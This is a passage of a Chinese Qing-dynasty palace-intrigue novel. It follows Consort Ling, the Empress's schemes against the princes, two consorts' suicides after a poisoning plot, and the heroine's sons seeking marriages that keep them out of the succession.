魏紫菀腹诽,听小孩继续道:“五哥只顾着看书,六哥太懒了,我上回找六哥玩,六哥还要我拖着他走路,八哥——”小孩仔细想了想,连连摇头,“他总是想跟我抢七哥,我不要跟他玩,而且他也不能陪永瑆到处玩。” 八哥太弱啦! “等等,你挑来拣去,还剩谁能陪你玩?你十二弟,还是你三姐四姐?” “我也不要跟三姐玩,她跟大哥三哥一样有了小孩,我才不去。” 好一个挑三拣四的小阿哥。 魏紫菀明白他的意思了,和嘉公主身体不比永璇好多少,那就只剩一个选择了,去找十二阿哥玩吧。 “子衿。” “是。”子衿双手稳稳抱住了十一阿哥。 不久后主仆俩来到皇后娘娘跟前。 皇后对令贵妃的到来还是颇感稀奇的,但是低头一看在挣扎的永瑆,大概就知令贵妃是因谁过来的了。 “永瑆,你想找永璂玩?” “是啊,皇额娘,十二弟在不在,他可是儿子唯一的弟弟了。” 永瑆郑重其事。 皇后觉得自己莫名有些手痒,抬头一看,令贵妃早就不动声色喝起茶吃起小食来了,贵妃过来这一趟就是为了让永瑆烦她? “永瑆说错话了,你十二弟可不是你唯一的弟弟,等宫里娘娘生下孩子,你还有很多很多的弟弟妹妹。” 永瑆用力点头,“我知道!皇额娘,还有娴额娘肚子里的小弟弟是不是?” 魏紫菀注意到皇后脸上闪过一抹不自在,所以确实是娴妃出事了吧。 “是啊,永瑆,你十二弟现在在练字,你先跟贵额娘回去吧。” 永瑆嘟囔着嘴巴,勉强道:“皇额娘,那我就去找四姐姐了!” “贵额娘,贵额娘,永瑆又没得玩了。” 魏紫菀弹了他额头一下,“玩什么,本宫都说你安安静静读书练字,你何时才学得你十二弟三分能耐。” “怎么贵额娘也像额娘那样说我。”永瑆捂着脑袋,忿忿不平。 “你什么时候不来吵贵额娘,贵额娘就不说你了。” 子衿提起永瑆,魏紫菀歉意地笑了笑,“皇后娘娘,这回打扰您了。” 皇后笑道:“不算打扰,永瑆这孩子最是活泼,怕是妹妹也难以招架。” “是,多谢娘娘谅解,妾身和永瑆不好再留下来打扰您和十二阿哥,妾身告退。”魏紫菀行告退礼,就带人走了。 皇后望着她背影沉思,贵妃今儿过来一趟不算让她意外,毕竟是宫里最宠小孩的妃子,七阿哥九阿哥六公主七公主被她宠得不像话,如今纵容一个老是跟在永琮永璐身后的永瑆也在情理之中。 但她还是不放心,看向冬菊,冬菊摇头,她没查出贵妃有何不对。 这蒙古包内里里外外除了皇后主仆就再无他人,两人得以放心谈论事情。 “果然不出本宫所料,陆答应藏着的东西真多。” 从上次陆答应那胎奇怪的身孕开始,她就怀疑陆答应是不是有些常人无法参透的手段,然后一直派人盯着陆答应。 结果有一日,陆答应接触鄂侧福晋了。 给出的‘好东西’真是让人目瞪口哆啊,从始至终,鄂侧福晋的一举一动都在她预料之内,她吃的点心也经她人手调换了。 毕竟这大好机会,如何不能让鄂侧福晋怀疑到陆答应身上,从而更进一步怀疑咸福宫。 三阿哥得知鄂侧福晋小产后的反应也让她很满意,爱新觉罗氏惯来出情种,若是让三阿哥得知自己心上人被咸福宫害了,会不会起了杀心,对慧妃母子俩动手。 “娘娘,往后咱们不得接触大人了。” “本宫明白。”皇后闭了闭眼,她能远在木兰围场却知晓宫中事,靠的是她弟弟以及大多富察氏族人的帮忙。 但接下来不能再接触他们了。 第80章 第80章自戕 紫禁城,娴妃醒来后呆滞地望着自己一片平坦的腹部,这里原先有一个鼓起来的再过几个月就能出生的孩子,她只是吃了点心,两眼一闭,醒来后孩子就不见了。 她的孩子一定不是没了,一定是在她晕过去的时候生下来了。 “快将本宫的孩子抱过来!” 奴才为难,“娘娘,您好好休息,别动气。”娘娘刚没了孩子,要是激动下受伤严重,那该如何是好。 “你一定想将我的孩子抢走吧,你不还回来我的孩子,本宫要你命!本宫的子嗣 你养不起。” 娴妃一双眸子似招魂的钩子,漆黑有神,被盯着的人下意识心里一跳。 静影赶紧道,“奴才这就将小阿哥抱过来。” 她快快退出,心道这事太邪门了,娴妃娘娘应该知道自己孩子没了,怎么还装神弄鬼,也是,这位主子本就有些神神叨叨的。 她将屋里的事仔细跟皇太后禀告。 皇太后蹙眉,“作孽啊,兰佩,派人守着娴妃,南无阿弥陀佛。” 娴妃在屋里等了许久,没等来自己的孩子,她看到地上有一处不明显的红痕,渗进地里,擦不干净,她下床将手伸出去小心翼翼地摸着、摸着。 她眼角滑落泪水,这是她孩子化作一滩血水的地方。 她想自欺欺人也无用了,她想生下来的孩子,终究是没了! 她怎么养了五公主这一个孽障。 索绰络氏这对母女,从一开始就不该存在,就该死! …… 鄂侧福晋醒来后的光景也不比娴妃好,但她是清醒地认知到她孩子一点一点没了后才晕过去的,也就是说,她用自己亲手做的点心害了自己的孩子。 害人终害己,可她平生只做过这次坏事,上天要报复到她孩子身上! 上天凭什么这么对她,为什么要害了她的孩子,从今往后,她还不能生养孩子了。 她受了这么多折磨,算计了这么多,可她连自己的身后路都毁了,为何那些不争不抢的人什么都得到了。 她想争三福晋的身份,但她成了侧福晋,她想让嫡福晋没了靠山,但她让自己没了今后的靠山。 她一个妾,她没有孩子,凭借颜色邀宠,日后她没了颜色,三爷还能待她一如既往吗? 三爷啊三爷。 鄂侧福晋惨然一笑。 她这胎是何人动的手,她不知道,但是跟陆答应撇不开关系,可陆答应要是有这个能耐,她用得着借用她的能耐算计娴妃。 她推测,陆答应也是被人做了推手,正如她神不知鬼不觉被人算计。 宫里有谁能有这种能耐,她分不清,但是她绝不允许有人算计了她却能全身而退,她会收拾干净自己留下的痕迹,那人就等着她的报复吧。 与其等着走自己日后一眼望到低的后路,她不如干干净净地走了,还能给三爷留下一辈子都忘不掉的印象。 …… 在皇帝带着群臣后妃归来那日,永璋迫不及待来到阿哥所,但是一推开房门。 目眦尽裂。 房梁下垂下两条白绫,白棱系成结,挂着一个人的下颌。 鄂侧福晋就这样闭上眼睛了,一分为二的金钗早早滑落,掉在地上。 “柔淳!柔淳!” 永璋将人放下来,触碰鼻下,鼻息已散,哭得撕心裂肺,身后跟进来的奴才赶紧关上房门。 …… 鄂侧福晋留下一封信。 信上说了这次有人借用她的手算计了她和娴妃娘娘,那人除了宫中高位,她别无他想。 那盒点心,她并没有发现不对劲,她只是想关心五公主,但却误食了那送给娴妃的‘算计’。 她没了孩子,她没了活下去的希望,她要随孩子而去,不能再陪三爷过完这辈子了。 宫中高位……永璋现在脑子一片空白,有宫妃算计了他的妻儿,目的是为了扳倒娴妃。 是谁,到底是谁。 皇后、令贵妃、慧妃、嘉妃,还是愉嫔或是舒嫔? 愉嫔和舒嫔不大可能,舒嫔无子,愉嫔没能耐。 永璋陷入了极度冷静的境界,他盘算着宫中所有有可能的宫妃。 是嘉妃?有可能,四弟和十一弟都是她儿子,但是十一弟只顾着玩,四弟作为皇阿玛登基后的第一贵子,嘉妃确实有可能为了四弟算计,可是这也说不通。 嘉妃能做到算计跟自己同位阶的娴妃?这不大可能。 那是令贵妃?也有可能,七弟和九弟——九弟不是她儿子,只剩七弟了,可七弟他了解,就是个贪玩的小孩。 令贵妃百般纵容自己的子嗣,一看无心争夺,跟娴妃也无仇,母家势力不显,如何能隔着万水千山算计人。 而慧妃有龙凤胎,皇后有嫡子。 慧妃之前是贵妃,在宫中势力不浅,且阿玛为朝廷重臣高斌。 皇后就更了不得了,中宫之主,在后宫权势最盛,在朝廷有其亲弟富察傅恒。 永璋笑了,除了皇后或是慧妃,还能有谁。 慧妃和娴妃都是潜邸侧妃,以皇阿玛对子嗣嫡出的重视,她们的子嗣比其他高位所出的子嗣更受皇阿玛看重。 娴妃有子,也最能威胁到皇后和慧妃。 她们为子嗣争夺皇位,他不管,这事碍不着他,但是为了算计娴妃害了他妻儿的性命,两条命,他都记着了。 永璋握着金钗,金钗已合二为一,再不分离。 …… 鄂侧福晋上吊自尽的事瞒不过皇家,永璋在看完那封信后,立马仿着自己妻子平时的笔迹写出一封新的书信,真的那封被他烧了。 信上说因失子肝肠寸断,今生无望,不得不舍下三爷,随孩子去了。 信呈现到帝王面前,饶是皇家对自戕之事百般忌惮,皇帝也不会将这套规矩对准自己儿媳妇。 皇家不许宫妃自戕,但凡有宫妃自戕,家族必然受到其连累。 可鄂侧福晋是中了无缘由的算计,幕后之人算准了鄂侧福晋喜欢五公主,平时总拿些点心送给五公主吃,而五公主是个孝顺孩子,总会给娴妃拿些点心,娴妃吃了,便中了算计。 而鄂侧福晋是当面逗五公主玩,让五公主给她取一块点心吃,却没想到这个举动断送了自己和孩子的性命。 也就是说,鄂侧福晋是受了无妄之灾。 可到底是谁想算计娴妃。 “万岁爷。”太医院院使递上来陆答应和娴妃以及鄂侧福晋三人不同的脉案。 虽然具体表现为都是身下流了一滩血,但细究之下,脉象确实不同。 况且陆答应被禁足,也无法接触到娴妃。 这事终究不了了之了。 乾隆久久不语,“退下吧。” 宫中有谁能算计娴妃,他一只手就能数过来,但他不愿相信自己的眼光差到这个地步,看中的宫妃竟然有这般心狠手辣的。 “命内库拨五千两银治丧。” 这是奔着嫡福晋的丧葬待遇去的。 人一旦没了,过去的恩怨便可烟消云散。 皇帝这时才想起西林觉罗氏跟纯妃的算计,以及自己特地为了惩治这种算计将鄂侧福晋和三福晋身份调换,让本该当侧福晋的贵女当了嫡福晋,让本是嫡福晋的贵女当了侧福晋。 只是圣旨已下,三福晋并未犯错,他不好再逆转过来两人身份,只能让鄂侧福晋的身后事尽量办得风光。 至于西林觉罗氏家族,皇帝捏紧眉心,“封鄂常在为贵人。” 便是寥寥几句话,这件事便得到了一个看似圆满的解决。 …… 储秀宫,回到宫里,魏紫菀才弄清楚事情来龙去脉。 所以这事果然跟皇后撇不开关系吧。 她知道的有关皇后的事更为详细具体,大阿哥禁足出来后就将当时跟帝王对峙之事一五一十告知她了。 其中皇后扮演着什么角色,她一清二楚。 皇后当时忍不住对待大阿哥子嗣动手,废了大阿哥的继位可能,也毁掉了自己在万岁爷心中根深蒂固的信任。 也就是在那之后,皇上对她恩宠更甚从前。 只是这次皇后用的是什么手段,她却不甚明白。 鄂侧福晋在其中扮演了什么角色,这更是迷惑人,经过这种种事,魏紫菀越发坚持在宫里明哲保身,不掺和进任何事,更不要求儿子们上进了。 宫里人人都是人精,她只有打从心底不想争夺那个位置,才能取信于人。 想到这,她更庆幸当初要来了颖贵人,扶持了婉嫔。 这两个宫妃无子,又是安安分分的性子,注定不会给她惹麻烦,更不会招人耳目。 她捏着眉心,深觉在乾隆后宫,连妄图躺平的宫妃,其实也不大好当,一旦她势弱,有大把人等着捏软柿子。 80-90 第81章 第81章争! 长春宫,冬菊禀告:“娘娘,奴才已将一切首尾收拾干净了。” “还不够。”皇后捏着眉心,她没想到鄂侧福晋会因此自戕,或者说,有胆子跟陆答应算计人的鄂侧福晋会自戕,这一步是她想不到的。 不过有一事她一清二楚,便是三阿哥跟鄂侧福晋感情深,但在这节骨眼上永璋对鄂侧福晋的离世无动于衷,是觉得一个妾室没了无所谓,还是在谋而后动。 以她 对永璋的了解,这人是个极重感情的,即便永瑢三番四次对他这个同母兄长不敬,但永璋每次有什么好东西,都不忘留给永瑢。 所以永璋必然在谋而后动,不可能对鄂侧福晋的离世没有一丝一毫的触动,她听说纯妃都哭得死去活来了。 能让永璋不得不隐忍的,只能是他暂时无法抗衡的——永璋肯定没有怀疑到陆答应身上,以永璋皇子阿哥的身份,陆答应无权无势,如今失宠,永璋能不动声色将陆答应害了。 皇后眸色更深了,几乎在一瞬间就确定了鄂侧福晋在临死前做了点手脚,或者说,鄂侧福晋并没有怀疑到陆答应身上,大抵是觉得陆答应没有这个能耐,能让鄂侧福晋怀疑上的,只有她们这些跟娴妃不合的高位。 皇后笑了笑,“真是有意思啊,本宫要是不仔细想清楚,还真上当了,任由永璋这个隐患在本宫面前明晃晃地晃着。” “那娘娘,我们是要对三阿哥动手?”冬菊面不改色,大有娘娘一下令,她就立马动手的觉悟。 “不必,皇上还在看着本宫。”自打永璜那招让她失了帝王信任后,她就不打算对这些阿哥下手了,或者说,只要不对这些阿哥动手,那她废掉阿哥们的身边人,就等同于废掉这些阿哥。 “想办法让鄂侧福晋动的手脚暴露出来,本宫要让永璋见见他心上人的真实面目。” 越是重情之人,就越容易被感情击垮,经此一事,要是三阿哥不废了,那才是出乎意料的事。 “娘娘,可若是这样,陆答应就保不住了。” “本宫何时要保她,本宫不过是看在她手段不错,若是被本宫利用,倒不失为一个可用之人,就是浪费在慧妃手上,让本宫觉得可惜罢了。” “娘娘的意思是……” “让她交出手中可用的方子,本宫可放过她族人的性命,让她好好上路,可要是胆敢对本宫有一丝隐瞒,本宫不会放过她族人的。” 冬菊明白娘娘意思了,娘娘不想保陆氏,但陆氏手中的方子却能保证她娘家人不会受她连累,就看陆氏怎么选择了,若是心甘情愿让出方子,那便放她家人一命,若是不愿,黄泉路上有家人相伴,陆氏不会走得孤独寂寞。 皇后笑了笑,“至于娴妃那里,也该让她明白一开始是谁想对她动手了。” 本来是想将永璋这把刀对准慧妃的,但奈何鄂侧福晋自作聪明,那就别怪她毁了她的黄泉路,她要废了永璋这把刀,让娴妃取而代之也一样。 如此一来,纯妃和娴妃的子嗣都废了,剩下的得是嘉妃的第一贵子了。 …… 鄂侧福晋下葬不过一个月,陆答应突然自戕,一把火将自己烧了。 埋在屋外的遗书仔仔细细将鄂侧福晋和她的交易一一说明。 鄂侧福晋想害娴妃子嗣,却不料将自己的子嗣也害了,害人终害己,在自知自己没法有孕后,绝望想死。 在鄂侧福晋死后,她忐忑害怕,日日梦见鄂侧福晋自戕的画面,胆战心惊,终究受不了内心折磨,一了百了断了自己的性命。 遗书上还留下她假孕和陷害娴妃子嗣的两个方子。 如此一来,皇帝勃然大怒,恼怒自己一而再再而三被人戏耍,他不信陆答应害了人以后,能无动于衷这般久,然后某一日自戕留下遗书,她这是嫌自己命不够长吗,还是恨自己族人恨到这个地步。 这明显是幕后之人推波助澜。 但是据帝王仔仔细细调查,事实跟陆答应在遗书上说的别无二致,找不到幕后之人的痕迹,只除了陆答应并非被火烧死这点格外明显。 胆敢害皇家子嗣,皇帝毫不留情直接下旨将陆氏家族诛九族,这方子这般恶毒,若是没有陆答应族人教她,一个十多岁便进宫的妃子会知道这么多恶毒的方子,他不信。 经过对陆氏族人的严刑拷打,帝王将所有方子都收归手中,大为惊异其中种种阴险,脸色极其阴晴不定,那段日子,别说是宠妃了,连皇太后都不敢接近自己儿子,生怕被迁怒。 这等皇家丑闻不能被公布于众,但皇帝将永璋叫到自己跟前,将自己调查到的种种证据摆在他面前,“朕的儿子不至于被一个毒妇迷惑。” 永璋看着皇阿玛脸色,似有察觉皇阿玛交给他的是什么,心脏跳得极快,一目十行将所有证据都看过遍了,至此才明白自己侧福晋的所有算计,包括在死后还得算计他一把。 柔淳…… 他不知该怎么说出那种绝望的感觉,只觉得以往柔淳在他面前展现出来的温柔、体贴、善解人意,都在一瞬间崩塌。 他故作无事走出了养心殿,却在走出来的那一瞬间,忍不住地发呕,将自己刚喝的酒水全数吐出来,吐到嘴角带了血,仍是在不停地吐、在咳血。 奴才们慌张失措叫来太医,但永璋情况不见好转,浑身痉挛。 一闭眼便晕过去两日了。 醒来后只看到福晋坐在床边给他嘴唇沾水,见他醒来,三福晋异常惊喜,“爷,您总算醒来了,额娘、额娘,三爷醒了,你们快叫太医过来。” 永璋一睁眼便认出了自己还在阿哥所里,额娘匆匆赶来抱着他痛哭。 他不知为何,突然就没了感情,知道额娘在担心他,但他对额娘升不起一丝一毫的愧疚,他也注意到福晋眼睛红肿,像是哭了好久好久,但是他就是无动于衷。 他叹了一口气,似是累极了,“额娘,福晋,以后咱们不掺和进宫中事了,咱们就关起房门好好过自己的日子。” “好好,咱们就只过自己的日子。”纯妃搂紧儿子,这两天,她无时不刻不担心自己的儿子身体,她求遍了佛祖,才堪堪求回来孩子性命了。 她对着长生天发誓,只要她的孩子能回来,让她做什么都好。 如今孩子只想不掺和后宫事了,那她们以后就不掺和了,不争不抢不闹了,就过好自己的日子。 纯妃感觉到自己儿子身上发生的事跟西林觉罗氏有关,皇上在这两日内大发雷霆,将鄂侧福晋那一脉都流放了,甚至鄂侧福晋都被皇室除名,今后永璋名下不会有这位侧福晋的存在。 就连她宫里的鄂贵人也没被放过,贬至答应后,一日之内被送到圆明园冷宫了。 她曾经有多喜爱鄂侧福晋,在意识到这个儿媳妇才是要害死自己儿子的人,有多喜爱就有多憎恶。 帝王得知永璋醒来后,“让永璋再养一个月,等身体好了再上朝吧。” 帝王少见地有父爱傍身,也是意识到自己指婚给儿子差点害死儿子这事有多离谱。 但天错地错都不会是帝王错了。 乾隆反复斟酌,只觉得是纯妃特地给自己儿子选这么个儿媳妇,是纯妃自己眼瞎了。 …… 长春宫,皇后脸色算不上好。 当初派冬菊去要来陆答应的方子,结果陆答应前脚刚给出方子,后脚直接自戕了。 这般狠得下心来,自然是存了鱼死网破的心思。 所幸她派去的奴才时时刻刻注意陆答应的举动。 在陆答应死后,从她身上搜到了种种让皇帝怀疑到长春宫的证据,还在她的隐私/处发现了皇后的姓名刻字。 当然,都被皇后派的人手除掉了。 但是为了以防她有没有吞下某些东西藏于腹部,便一把火烧了陆答应尸骨,那封遗书便是皇后不得不留下来的,毕竟她的人模仿不来陆答应的字迹,而且皇上早晚会查到陆答应是先去了,后被烧了尸骨,因此那封信必须要留下来转移帝王注意力。 当然,上面写到她的内容,都被她派的人用火给烧了,就当是不小心被火焰撩到了。 万岁爷信不信是他的事,但她解决了陆答应留下的麻烦就好。 “也算她当了回清醒鬼吧。”皇后叹气,她本来就打算不管陆答应选哪个,都没想着让她家人活的,毕竟陆答应犯下这等过错,她怎好让她一个人去黄泉下徘徊。 那必须得全家人一起上路。 可惜陆答应对自己这般狠,使得她不得不留下那封信和那两个方子,想必皇上都查到了那些方子,她得知的方子便毫无用处。 要是皇帝自始至终都不知这些方子的存在,只是暗自怀疑,也不至于对陆氏族人严刑拷打。 皇后叹了又叹。 唯一的好事是三阿哥果真废了,而娴妃,兜兜转转后终于明白是陆答应对她下的手,而指使陆答应 这么做的人,只能是慧妃了。 接下来得是四阿哥永珹了,嘉妃的第一贵子。 皇后知道自己现在不能急。 …… “陆答应自戕了,鄂侧福晋自戕了。”皇后可真是好手段。 这样一来,如果她猜测的一切都成立的话,那皇后不会放弃这个让娴妃对上慧妃的机会。 即便她不清楚陆答应和鄂侧福晋之间有何联系,但这两人一前一后自戕,又被皇上流放、诛杀族人,娴妃不蠢,猜到了这事跟陆答应有关,而陆答应的主位是慧妃。 魏紫菀不自觉打了个寒颤,皇后的手段已经容不得她再不争不抢了。 都害人命害得这样轻易了。 最主要的是,她最开始笃定皇后不会轻易对她和慧妃下手,但皇后转眼就对上慧妃了。 接下来岂非轮到她。 第82章 第82章养子?亲子! 魏紫菀总算意识到,身处后宫中,她能看到未来,所以能选择不争不抢,但是在别人眼中,皇上迟早会驾崩。 乾隆帝已经四十多岁了,雍正帝是五十多岁没的,康熙帝是六十多岁没的,在所有人眼中,乾隆帝最多还有二十多年的岁数,不会有人想到他还能活四十多年。 所以一念之差,就是皇后非要除掉这些阿哥的缘故了。 顶多再过十年,在所有人的预料中,乾隆帝该决定继承人了,而十年后,就是十二阿哥永璂娶妻生子的年纪,所以皇后一步都不能退让。 魏紫菀来回踱步,心里紧张无处发泄。 她既恼怒皇后动手之快,又不愿意跟皇后争这一回,她争来有什么用!她要怎么跟皇后说,没必要争没必要争! 但是她更清楚,她说这话就是害自己和孩子的命! 皇后不会知道这种事的,她只会觉得所有有子的宫妃都是挡在十二阿哥面前的障碍,不除不可。 魏紫菀悲哀地发现,她不争,只会让皇后害了自己和孩子,她争了后,只会重现原身上辈子的命,或是比上辈子更悲惨的命,因这辈子有皇后和慧妃活着。 难不成要让她现在废了她孩子的继承权。 她的孩子再过七八年就到年纪娶妻生子了,她希望皇后能坚持到那个时候,看着永琮娶博尔济吉特氏的贵女为嫡福晋,只要娶了蒙古贵女为正妻,基本上跟皇位无缘了,而永璐并非她亲生子,又有作为罪妃的生母柏氏,皇后压根没对永璐动手的必要。 但是以皇后现在的耐心,怕是等不到永琮娶妻了。 “去叫永琮过来。”魏紫菀一不做二不休,日后的事情日后再说,她只管现在。 永琮被额娘叫过来时还嘻嘻笑笑的,但是当额娘讲清楚皇额娘、慧妃、娴妃以及宫里诸多斗争后,他忍不住打了个寒颤,心疼道:“额娘,您一直都在面对这种……事吗?” 他不再笑了,小脸皱巴巴,他不知怎么形容这种丑恶之事,也是头一次意识到皇后、慧妃等人的真面目,额娘真的将他保护得太好了。 但是他不能仗着自己被保护得好,让额娘一个人面对这种事。 他上前一步认认真真搂了下额娘,“额娘,儿子长大了,这种事就交给儿子吧。” 他的性子他清楚,他对皇阿玛的位置没兴趣,也不觉得自己担得起皇位,大哥三哥还没争就被皇后整废了,往后得是四哥了,他作为额娘长子,他要护住额娘、弟弟妹妹。 魏紫菀感受到儿子温暖的怀抱,吾家有儿初长成的感觉一瞬间充盈满身。 一个蹒跚学步的小小婴孩突然就长大成人,说能将事情交给他了。 “额娘,儿子会想办法让皇阿玛给儿子定下婚事的。”永琮平时再不着调,此时此刻必须得正经,“皇阿玛尚未纳蒙古贵女为妃,这次北狩之事,儿子看得出蒙古王公想给皇阿玛后宫塞人,不过皇阿玛急于宫中事,无心纳妃。” 他挠了挠脑袋,神色严肃,“所以我们皇子中必然会有人娶蒙古贵女为嫡福晋,四哥婚事定下了,五哥、六哥和儿子、永璐、永瑆的嫡福晋还空着。” 永琮没提嫡子,谁都清楚,嫡子是不可能娶蒙古贵女的。 “儿子主动向皇阿玛提起这事,皇阿玛必然早早给儿子定下婚事。” 说不定皇阿玛现在还在想让哪个儿子娶蒙古贵女,永琮觉得自己这样还干脆利落帮皇阿玛解决了一个烦恼,“只是皇阿玛顶多让一个儿子娶蒙古贵女。” 皇阿玛推崇的圣祖爷,平生也就让自己的十皇子迎娶蒙古贵女,以皇阿玛的性子,应该只想有一个蒙古贵女做儿媳妇。 “永璐该怎么办?” 他们兄弟俩感情好,又是同母所出,他避开皇后针对,那永璐不就得受尽算计了。 魏紫菀看着他的眸子,叹了口气,觉得自己没必要将所有事都瞒着了,便一五一十将永璐的身世讲出来,因永璐生母身份低微,皇后针对永璐的可能性不大。 永琮十分惊异,“永璐不是我亲弟弟吗?不是额娘亲生儿子?!” 魏紫菀反道惊诧:“你算算看你的生辰,再算算看永璐的生辰,额娘以为你们反应没那么迟钝,你们看一眼你们的生辰就知道额娘怎么可能在怀你的同时怀上永璐!你当额娘天赋异禀啊,还是你皇阿玛有什么神力。” 她以为两个儿子心里应该有感觉了,顶多会产生点小误会,像是觉得永琮是养子而永璐是亲子,结果一个个迟钝成这样,是学了谁的! 永琮茫然道:“难道不是儿子早产,或是咱们兄弟的生辰日不太吉祥,所以往后延啊——额娘,疼!” 魏紫菀没收力揪住他耳朵,“你想的这是什么话!你生辰日不吉祥?你这不就等于说你八弟四妹的生辰日不吉祥吗?龙凤胎诞生的日子怎么能不吉祥!你说出来这话,宫里人都得笑了。而永璐出生的日子也是明媚艳阳天,你们兄弟姐妹哪一天出生都吉祥极了,皇家会因为这种事将你们的生辰日延后?!” 魏紫菀差点被大儿子气笑。 而且老大这么想,老二肯定也八九不离十这么想,一起长大且感情非常好的兄弟俩脑回路必然是一模一样的! 她毫不怀疑。 永琮摸了摸耳朵,真心道:“儿子和永璐从没怀疑过自己身世啊,我们俩只有从额娘肚子里出来的同母兄弟这一个结论。” 额娘待他们这么好,所以他们无一人会怀疑自己的出身,宁可怀疑皇家玉牒出了错,或是怀疑皇阿玛哪天脑子糊涂了命人改了他们的生辰日,也不怀疑额娘啊。 他和永璐,和静和和恪,都十分在乎额娘。 魏紫菀突然就手足无措了,她没想到永琮会说出这种话,就感觉她对永璐并非养子这一事故作冷静给自己建起一面面高墙,就是防止有一天永璐知道自己生母身份,从而埋怨养母,所以她时刻警惕着,要是永璐表现出一丝一毫对她的埋怨,那她就立马切断这份亲缘。 但是儿子却说,从不怀疑他们是额娘亲生子的身份。 一瞬间,高墙崩塌。 她手忙脚乱。 永琮挠了挠脸,笑道:“额娘,儿子跟您说,这事咱们必须要跟永璐说清楚!我们是一家人,不能瞒着彼此,永璐必然不会怪您的,您就放一百个心吧。” 他心里暗道,要 是永璐敢埋怨额娘,那他就联合大哥、四哥、五哥、六哥、八弟和十一弟轮流揍多几顿永璐,将他脑子揍清醒,让他明白拳头的威力,敢欺负额娘,哪个儿子都不准! 应该说,哪个孩子也不准。 如果和静和恪两个妹妹欺负额娘了,他不会揍妹妹,但是他会贿赂四妹和五妹揍两个妹妹,毕竟弟弟由兄弟们教训,妹妹由姐妹们教训,天经地义。 于是永琮立马将永璐拉过来,不顾永璐想问七哥干啥,就一五一十将他的身世说出来了。 期间魏紫菀想说点什么,都比不过永琮的快言快语。 永璐指了指自己,“所以儿子是柏氏的亲生子,不是额娘的亲生子?” 他陷入沉思了,“不应该啊……” 魏紫菀有些紧张。 却见永璐猛地一拍手,“额娘,我总感觉我才是你亲生子,七哥不是才对。” “你说的这是什么话!”永琮手痒了,忍不住揍弟弟了,一手肘让弟弟见识到什么叫做兄长的威严。 “嗷嗷嗷啊,七哥我错了我错了。”永璐捂着肚子,“你还真用力了啊。” “不然呢,你说的这是什么话!” 永琮气哼哼。 “咱们兄弟之前不是觉得这生辰日是玉牒上记错了吗?” 永璐摇摇头,“我没这么认为,我那话就是在骗你的。” 他就是觉得他们兄弟俩肯定有一个不是额娘亲生的,或者两个都不是额娘亲生的,就是在七哥告诉他之前,他以为七哥不是亲生的,毕竟额娘从小对他这么好这么好,他怎么可能不是额娘亲生的! 所以他说这话是为了哄七哥,就怕七哥受不了刺激起乱子。 但是有朝一日,真相甩在他脸上,他才恍然大悟后知后觉,原来那个非亲生的是他啊。 不过……他眨了眨眼睛,感觉知道了跟没知道没区别,他还是额娘儿子啊,想到这,他可怜巴巴道:“额娘,你该不会不认我做儿子了吧?” 魏紫菀认真道:“额娘不会不要你的,是额娘一直怕你不要额娘。” 她付出了所有心力养大的孩子,她怎么会不爱,她怎么能不爱,即便不是自己亲生的,可养了这么多年,她早就视作是亲生子了。 给自己找千种理由不说出永璐的身世,何曾不是她害怕失去永璐。 永璐抱住额娘,眼泪一滴滴滑落。 好吧,他承认他是有些害怕的,他担心额娘会不要他,但是,有额娘这句话,他今晚可以睡个好觉了。 “额娘,您永远都是儿子的额娘,儿子除了您,再无第二个额娘了,儿子怎么可能不要您。” 柏氏是他亲生额娘又如何,他只记得是额娘将他亲手养大的,养恩高过天,重过地,在天地之中,沿着那潺潺流水似血般流遍他全身,是他此生割舍不掉的烙印。 魏紫菀拍了拍他后背,似幼时般安慰他。 她也终于能安心入睡了。 她的两个儿子长大了啊,是能依靠的小男子汉了。 第83章 第83章表姐表妹 乾清宫,“皇阿玛,儿子求您呗。” 永琮永璐兄弟俩在乾清宫外叫唤个不停,要不是乾隆明知道这两个儿子目的为何,还真被他们俩叫唤动了。 今日一大早醒来时,兄弟俩便出现在乾清宫外了,他以为两个儿子是早早过来给皇阿玛请安的,心情大好之下让两个儿子跟在他身后上朝,当然上朝时各就各位。 等下朝后,便好声好气问起两个儿子想做什么。 结果兄弟俩对视一眼。 永琮笑嘻嘻道:“皇阿玛,儿子看中了和硕淑慎公主的亲女儿,儿子想娶表姐做嫡福晋。” 永璐也煞有其事,“皇阿玛,儿子喜欢表妹,您就让儿子娶了表妹吧。” 什么东西?乾隆差点被兄弟俩突如其来的要求吓一跳,一看永琮永璐的年纪,不到十岁便惦记着要娶福晋了,还都是表姐表妹,“怎么回事?” 乾隆表情微重,以为两个儿子只是随口一说,而且一个想要迎娶蒙古贵女,一个想要娶汉军旗女子,两兄弟说法足够荒谬,他让人将两儿子赶出去后便继续批改奏折。 结果两个儿子赖在乾清宫外不走了,怎么撵都不走。 皇帝实在不愿理会他们。 只是耳朵被吵了半天,心里来了脾气,便将人叫进去,“你们要是不说出个缘由来,就休怪朕将你们送回你们额娘——送去你们大哥那。” 本想着让紫菀好好教导两个孩子,但两人实在太吵,皇帝没舍得让紫菀受这种折磨,便退而求其次去折磨自己老大。 他本想老大老三一起折磨的,毕竟都在宫外,吵就一起吵,兄弟俩一个都不能落下。 但想到老三最近的状态,皇帝难得有点良心,就只折腾老大了。 永琮不说话时,旁人看着好一个丰神俊朗的美男子,皇帝是有一些看重一个人的容貌的,不然即便这是他和紫菀的孩子,早就在他嚷第一声时就将他送走了,哪还纵容他嚷这么久。 乾隆好脾气问道:“怎么了?” 永琮回想了下四哥最近的状态,愣是将一个为情所困的忧郁少年给演出来了,“皇阿玛,儿子对和硕淑慎公主的亲女儿一见钟情,再见倾心,求您给儿子赐婚吧。” 乾隆回想了一下自己的二姐女儿,比永琮大四岁,姓博尔济吉特氏,若是永琮娶了她,便也是满蒙联姻的好婚事,“你什么时候见着她的?” “就上回在木兰围场。” 皇阿玛格外施恩让唯二还活着的先帝养女伴驾,也就是二姑姑和四姑姑,他当时注意到跟在二姑姑身边的女孩儿,模样挺好看的,是个英姿飒爽的女孩子,就是不知为何刻意做了柔弱态。 后来他处于好奇打听到这位表姐名声不大好,本来是在前几年就得定下婚事的,但是不知为何,定下两门婚事,那未婚夫君都早早去了,这位表姐便不知不觉传了克夫的名声。 再加上力气比寻常男子大,大概是天生神力,第三门婚事迟迟没有定下。 若非这位表姐是和硕淑慎公主唯一的女儿,现在怕是要送进庙堂青灯古佛为伴,或是在第一门婚事未婚夫君去世后,就得守寡,由此可见,这‘克夫’名声传出后,对表姐有多不友好。 永琮不觉得克夫这种事能当真,要怪也只怪那两个男的身体太弱,一击就垮,毫无男子气魄可言,没了就没了,连累一个无辜的女子算什么。 